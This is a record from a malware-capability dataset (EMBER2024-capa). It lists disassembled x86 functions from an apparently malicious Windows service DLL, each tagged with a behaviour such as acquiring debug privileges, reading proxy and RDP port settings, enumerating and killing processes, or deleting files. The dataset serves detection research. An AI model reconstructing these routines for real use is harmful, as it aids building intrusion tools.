joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005080
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100050a9
xor eax, eax
pop esi
ret
push ebp
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp ebp, 0x2bc
jae 0x100050c9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
xor eax, eax
pop esi
ret
push ebx
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
jne 0x100050ee
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop ebp
xor eax, eax
pop esi
ret
push edi
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x10005117
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop ebx
pop ebp
xor eax, eax
pop esi
ret
push ebp
push edi
call fcn.10004e10
add esp, 8
push edi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
push esi
call edi
pop edi
pop ebx
mov eax, ebp
pop ebp
pop esi
ret

Function at 0x10005200
Capabilities:
Get common file path

Disassembly:
sub esp, 0x310
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x30c], eax
mov ecx, dword [0x100175a4]
push esi
push 0x104
lea eax, [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCR80.dll__strlwr]
lea edx, [esp + 4]
push edx
call esi
add esp, 4
push 0x104
lea eax, [esp + 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x108]
push ecx
call esi
lea eax, [esp + 0x10c]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10005266
sub eax, edx
push eax
lea edx, [esp + 0x10c]
push edx
lea eax, [esp + 0xc]
push eax
call fcn.10002050
add esp, 0xc
test eax, eax
je 0x10005301
push 0x100
lea ecx, [esp + 0x214]
push 0
push ecx
mov dword [esp + 0x218], 0x5c2e2e
call sub.MSVCR80.dll_memset
lea edx, [esp + 0x10]
push 0x5c
push edx
call dword [sym.imp.MSVCR80.dll_strrchr]
add esp, 0x14
add eax, 1
mov edx, eax
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100052c0
push edi
lea edi, [esp + 0x210]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x100052d6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10004980
add esp, 4
pop edi
call fcn.10005830
push str.Lscsvc.dll
call fcn.10004980
mov ecx, dword [0x100175a4]
push ecx
call fcn.10005140
add esp, 8
test eax, eax
pop esi
jne 0x10005342
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10005348
push 0x10011c4c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005348
push 0
push 0
call eax
mov ecx, dword [esp + 0x30c]
xor ecx, esp
xor eax, eax
call fcn.1000bc08
add esp, 0x310
ret
Function at 0x10005390
Capabilities:
Delete file

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp edi, 0x1e
jne 0x100053d4
cmp dword [esp + 0xc], edi
jne 0x1000547c
call fcn.10005830
mov eax, dword [0x100175a4]
push eax
call fcn.10005140
add esp, 4
test eax, eax
je 0x1000557d
mov ecx, dword [0x100175a4]
pop edi
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x14
jmp eax
cmp edi, 0x14
push esi
jne 0x10005436
cmp dword [esp + 0x10], 0x1000
jb 0x1000547b
push 0x210
mov dword [0x100175ac], 1
call fcn.1000bc24
push 0x210
mov esi, eax
push 0
push esi
call sub.MSVCR80.dll_memset
mov eax, dword [esp + 0x20]
add esp, 0x10
push 0x104
lea edx, [esi + 8]
push edx
push eax
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push 0
push fcn.10005830
call fcn.10002080
add esp, 0xc
jmp 0x1000547b
cmp edi, 0x1000
jb 0x1000547b
push str..exe
push edi
call dword [sym.imp.MSVCR80.dll_strstr]
add esp, 8
test eax, eax
jbe 0x1000547b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
push 0x3e8
call ebx
push edi
call ebp
mov ecx, esi
add esi, 1
cmp ecx, 3
jg 0x10005479
test eax, eax
je 0x10005461
pop ebp
pop ebx
pop esi
push 0
push 0
push 0x10009870
call fcn.10002080
add esp, 0xc
test edi, edi
je 0x1000557d
cmp edi, 0x14
jae 0x1000557d
mov eax, dword [esp + 0xc]
cmp eax, 0x1000
jbe 0x1000557d
test eax, eax
je 0x1000557d
mov dword [0x100175b0], 1
mov edx, dword [eax]
push 0x10004dd0
push edx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
test eax, eax
mov dword [0x10017598], eax
jne 0x100054e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10004da0
add esp, 4
pop edi
ret 8
push 0x1388
push 1
push 0
push 0
push 2
call fcn.10004d40
add esp, 0x14
test eax, eax
je 0x100054d6
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [0x1001759c], eax
je 0x100054d6
push 0x3e8
push 2
push 0
push 0
push 2
call fcn.10004d40
add esp, 0x14
test eax, eax
je 0x100054d6
push 0x1388
push 3
push 0
push 0
push 2
call fcn.10004d40
add esp, 0x14
test eax, eax
je 0x100054d6
push 0
push 0
push 0
push 0
push 4
call fcn.10004d40
add esp, 0x14
test eax, eax
je 0x100054d6
mov eax, dword [0x1001759c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call fcn.10004da0
add esp, 4
pop edi
ret 8
Function at 0x100056f0
Capabilities:
Acquire debug privileges
Get session user name

Disassembly:
sub esp, 0x174
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x170], eax
push ebx
mov ebx, dword [esp + 0x17c]
push esi
push edi
xor edi, edi
push 0x32
lea eax, [esp + 0x20]
push edi
push eax
mov dword [esp + 0x24], 0x32
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], edi
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 1
push str.SeDebugPrivilege
call fcn.10005590
push 0x10000000
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.10005620
add esp, 0x14
push 0x64
lea ecx, [esp + 0xb8]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x28]
push edx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x1c]
push edx
push 1
push edi
lea eax, [esp + 0xcc]
push eax
push edi
call fcn.10001f80
add esp, 0x20
test eax, eax
jne 0x100057fc
mov esi, dword [esp + 0x10]
cmp esi, edi
je 0x1000580d
cmp dword [esp + 0xc], edi
jbe 0x10005800
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [ebx]
test esi, esi
je 0x100057f9
mov edx, dword [esi]
push 0
push 0
push 0x64
lea ecx, [esp + 0x60]
push ecx
push 0xffffffffffffffff
push edx
push 0
push 1
call ebp
push 0x10000000
lea eax, [esp + 0x58]
push eax
push ebx
call fcn.10005620
add edi, 1
add esp, 0xc
add esi, 4
cmp edi, dword [esp + 0x10]
jb 0x100057c0
xor edi, edi
pop ebp
mov esi, dword [esp + 0x10]
cmp esi, edi
je 0x1000580d
push esi
call fcn.10001fd0
add esp, 4
mov ecx, dword [esp + 0x17c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000bc08
add esp, 0x174
ret
Function at 0x10006220
Capabilities:
Get proxy
Get session user name
Query or enumerate registry value

Disassembly:
sub esp, 0x270
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x26c], eax
push ebp
mov ebp, dword [esp + 0x278]
push esi
mov esi, 0x80000001
call fcn.10005940
test eax, eax
je 0x100062e6
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x38]
push ecx
mov dword [esp + 0x10], 0x40
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
lea edx, [esp + 0x34]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x10], 0x20
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 1
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov eax, dword [0x100175b8]
test eax, eax
jne 0x100062d0
push str.LoadUserProfileA
push str.USERENV.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x100175b8], eax
je 0x100062e6
mov edx, dword [0x100175b4]
lea ecx, [esp + 0x10]
push ecx
push edx
call eax
test eax, eax
je 0x100062e6
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0xc]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000641c
push 0x1ff
push eax
lea ecx, [esp + 0x7d]
push ecx
mov byte [esp + 0x80], al
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
push str.ProxyServer
push edx
mov dword [esp + 0x20], 0x200
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10006411
push ebx
push edi
lea eax, [esp + 0x7c]
push str.http
push eax
call dword [sym.imp.MSVCR80.dll_strstr]
mov ebx, dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
add esp, 8
test esi, esi
je 0x100063b6
add esi, 5
push 0x3a
push esi
call ebx
mov edi, eax
add esp, 8
test edi, edi
je 0x100063b6
cmp edi, esi
je 0x100063b6
lea ecx, [edi + 1]
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
test eax, eax
mov dword [ebp + 0x44], eax
jl 0x100063af
sub edi, esi
push edi
lea edx, [ebp + 0x24]
push esi
push edx
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
jmp 0x100063b6
mov dword [ebp + 0x44], 0
lea eax, [esp + 0x7c]
push str.socks
push eax
call dword [sym.imp.MSVCR80.dll_strstr]
mov edi, eax
add esp, 8
test edi, edi
je 0x1000640f
add edi, 6
push 0x3a
push edi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x1000640f
cmp esi, edi
je 0x1000640f
lea ecx, [esi + 1]
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
test eax, eax
mov dword [ebp + 0x20], eax
jl 0x10006408
sub esi, edi
push esi
push edi
push ebp
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
jmp 0x1000640f
mov dword [ebp + 0x20], 0
pop edi
pop ebx
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x274]
pop esi
pop ebp
xor ecx, esp
call fcn.1000bc08
add esp, 0x270
ret
Function at 0x10006520
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x100105a2
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
mov eax, dword [0x1001734c]
xor eax, esp
push eax
lea eax, [esp + 0x4c]
mov dword fs:[0], eax
lea eax, [esp + 8]
push eax
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov dword [esp + 0x30], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea ecx, [esp + 0x38]
push ecx
call fcn.100012a0
add esp, 0x24
mov ecx, eax
mov dword [esp + 0x58], 0
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
lea ecx, [esp + 0x14]
sete bl
mov dword [esp + 0x54], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
test bl, bl
je 0x10006620
mov eax, dword [esp + 0x5c]
lea edx, [esp + 0x60]
push edx
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push str.ProcessorNameString
mov dword [esp + 0x40], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea edx, [esp + 0x60]
push edx
call fcn.100012a0
add esp, 0x24
mov ecx, eax
mov dword [esp + 0x64], 1
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x30]
mov dword [esp + 0x54], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x4c]
mov dword fs:[0], ecx
pop ecx
pop ebx
add esp, 0x50
ret
Function at 0x10006920
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x10010642
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push ebx
push esi
mov eax, dword [0x1001734c]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
push eax
xor esi, esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], 4
mov dword [esp + 0x34], esi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea ecx, [esp + 0x44]
push ecx
call fcn.100012a0
add esp, 0x24
mov ecx, eax
mov dword [esp + 0x64], esi
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
lea ecx, [esp + 0x20]
sete bl
mov dword [esp + 0x60], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
test bl, bl
je 0x10006a20
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x4c], esp
push str.PortNumber
mov dword [esp + 0x4c], esi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea edx, [esp + 0x6c]
push edx
call fcn.100012a0
add esp, 0x24
mov ecx, eax
mov dword [esp + 0x70], 1
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x3c]
mov dword [esp + 0x60], 0xffffffff
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, word [esp + 0x10]
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x58
ret
Function at 0x10006f50
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x144
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x140], eax
push esi
mov esi, dword [esp + 0x14c]
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006fbf
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0xc], 0x10
je 0x10006fa8
lea ecx, [esp + 0x38]
push ecx
call fcn.10006f20
add esp, 4
test eax, eax
jne 0x10006fab
add edi, 1
lea edx, [esp + 0xc]
push edx
push esi
call ebp
test eax, eax
jne 0x10006f90
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov ecx, dword [esp + 0x148]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.1000bc08
add esp, 0x144
ret
Function at 0x10007710
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x128], eax
push esi
push 0
push 2
call fcn.10001a10
mov esi, eax
add esp, 8
cmp esi, 0xffffffff
jne 0x10007750
or eax, eax
pop esi
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.1000bc08
add esp, 0x12c
ret
push edi
push 0x124
xor edi, edi
lea eax, [esp + 0x10]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10007792
lea ecx, [ecx]
lea edx, [esp + 8]
push edx
push esi
add edi, 1
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007780
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x130]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.1000bc08
add esp, 0x12c
ret
Function at 0x10007fd0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x88
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x84], eax
mov al, 0x5c
push esi
mov esi, dword [esp + 0x90]
mov byte [esp + 9], al
mov byte [esp + 8], al
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0xe]
push ecx
mov dword [esp + 0xc], 0x7c
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [esp + 8]
push edx
push esi
call dword [sym.imp.MSVCR80.dll__stricmp]
mov ecx, dword [esp + 0x90]
add esp, 8
neg eax
sbb eax, eax
pop esi
xor ecx, esp
add eax, 1
call fcn.1000bc08
add esp, 0x88
ret

Function at 0x100083a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
mov esi, dword [esp + 0x110]
push edi
push 0x104
lea eax, [esp + 0xc]
push 0
push eax
call sub.MSVCR80.dll_memset
mov edi, dword [esp + 0x124]
add esp, 0xc
push edi
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.10002ed0
cmp eax, edi
pop edi
pop esi
je 0x10008403
or eax, 0xffffffff
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000bc08
add esp, 0x108
ret
push 0
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.1000bc08
add esp, 0x108
ret

Function at 0x10008430
Capabilities:
Delete file

Disassembly:
sub esp, 0x128
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x124], eax
push esi
mov esi, dword [esp + 0x130]
push edi
push 0x104
lea eax, [esp + 0x2c]
push 0
push eax
call sub.MSVCR80.dll_memset
mov edi, dword [esp + 0x144]
add esp, 0xc
push edi
lea ecx, [esp + 0x2c]
push ecx
mov ecx, esi
call fcn.10002ed0
cmp eax, edi
pop edi
pop esi
je 0x10008493
or eax, 0xffffffff
mov ecx, dword [esp + 0x124]
xor ecx, esp
call fcn.1000bc08
add esp, 0x128
ret
cmp dword [esp + 0x134], 0
je 0x100084e2
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0x10], eax
mov dword [esp], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
lea eax, [esp]
lea edx, [esp + 0x20]
push eax
mov dword [esp + 8], 3
mov dword [esp + 0xc], edx
mov word [esp + 0x14], 0x614
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
jmp 0x100084ed
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x124]
xor ecx, esp
mov eax, 1
call fcn.1000bc08
add esp, 0x128
ret
Function at 0x10008880
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x33c
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x338], eax
push ebx
push esi
mov esi, dword [esp + 0x348]
mov dword [esp + 0x10], esi
call fcn.10007710
xor ebx, ebx
cmp eax, ebx
jle 0x10008a62
push ebp
push edi
lea edi, [eax + 4]
imul edi, edi, 0x20c
push edi
call fcn.1000bbf6
push edi
mov esi, eax
push ebx
push esi
call sub.MSVCR80.dll_memset
push ebx
push 2
mov ebp, esi
call fcn.10001a10
push 0x124
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x3c]
push ebx
push eax
call sub.MSVCR80.dll_memset
mov edx, dword [esp + 0x34]
add esp, 0x24
lea ecx, [esp + 0x1c]
push ecx
push edx
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008a16
jmp 0x10008910
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x100089ff
lea ecx, [esp + 0x144]
push ecx
push eax
mov byte [esp + 0x14c], bl
call fcn.10008740
mov edx, dword [esp + 0x2c]
mov dword [esi], edx
add esi, 4
add esp, 8
cmp byte [esp + 0x144], bl
mov edx, esi
jne 0x1000896e
lea eax, [esp + 0x40]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x10008950
lea eax, [esp + 0x40]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10008963
jmp 0x1000899f
lea eax, [esp + 0x144]
mov ecx, eax
sub edx, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x10008980
lea eax, [esp + 0x144]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x10008996
sub eax, edx
push 0x100
lea edx, [esp + 0x24c]
lea esi, [esi + eax + 1]
mov eax, dword [esp + 0x28]
push edx
push eax
mov byte [esp + 0x254], bl
call fcn.100087a0
lea eax, [esp + 0x254]
mov edx, esi
mov ecx, eax
add esp, 0xc
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
cmp cl, bl
jne 0x100089d3
lea eax, [esp + 0x248]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x100089f0
sub eax, edx
lea esi, [esi + eax + 1]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008910
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x18]
mov dword [esi], 0xffffffff
push ebx
sub esi, ebp
add esi, 4
push esi
push ebp
push edi
push 0xa001
call fcn.10002f60
push ebp
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
pop edi
pop ebp
mov eax, esi
pop esi
pop ebx
mov ecx, dword [esp + 0x338]
xor ecx, esp
call fcn.1000bc08
add esp, 0x33c
ret
push ebx
push 4
lea edx, [esp + 0x14]
push edx
push 0xffffffffffffffff
push 0xa001
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.10002f60
mov ecx, dword [esp + 0x340]
pop esi
pop ebx
xor ecx, esp
mov eax, 4
call fcn.1000bc08
add esp, 0x33c
ret
Function at 0x10008c00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x2b0
mov eax, dword [0x1001734c]
xor eax, esp
mov dword [esp + 0x2ac], eax
push esi
mov esi, dword [esp + 0x2b8]
push edi
push 0x104
lea eax, [esp + 0x1b4]
push 0
push eax
call sub.MSVCR80.dll_memset
mov edi, dword [esp + 0x2cc]
add esp, 0xc
push edi
lea ecx, [esp + 0x1b4]
push ecx
mov ecx, esi
call fcn.10002ed0
cmp eax, edi
jne 0x10008d0f
push 0x68
lea edx, [esp + 0xc]
push 0
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x1b0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x140
lea ecx, [esp + 0x74]
push 0
push ecx
mov dword [esp + 0x34], eax
call sub.MSVCR80.dll_memset
add esp, 0xc
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x10008cf8
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x8c]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x78]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x80]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x88]
push eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x68
lea eax, [esp + 0x10]
push eax
push 0xffffffffffffffff
push 0xa022
mov ecx, esi
call fcn.10002f60
mov ecx, dword [esp + 0x2b4]
pop edi
pop esi
xor ecx, esp
call fcn.1000bc08
add esp, 0x2b0
ret

Function at 0x10008d30
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10008d56
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret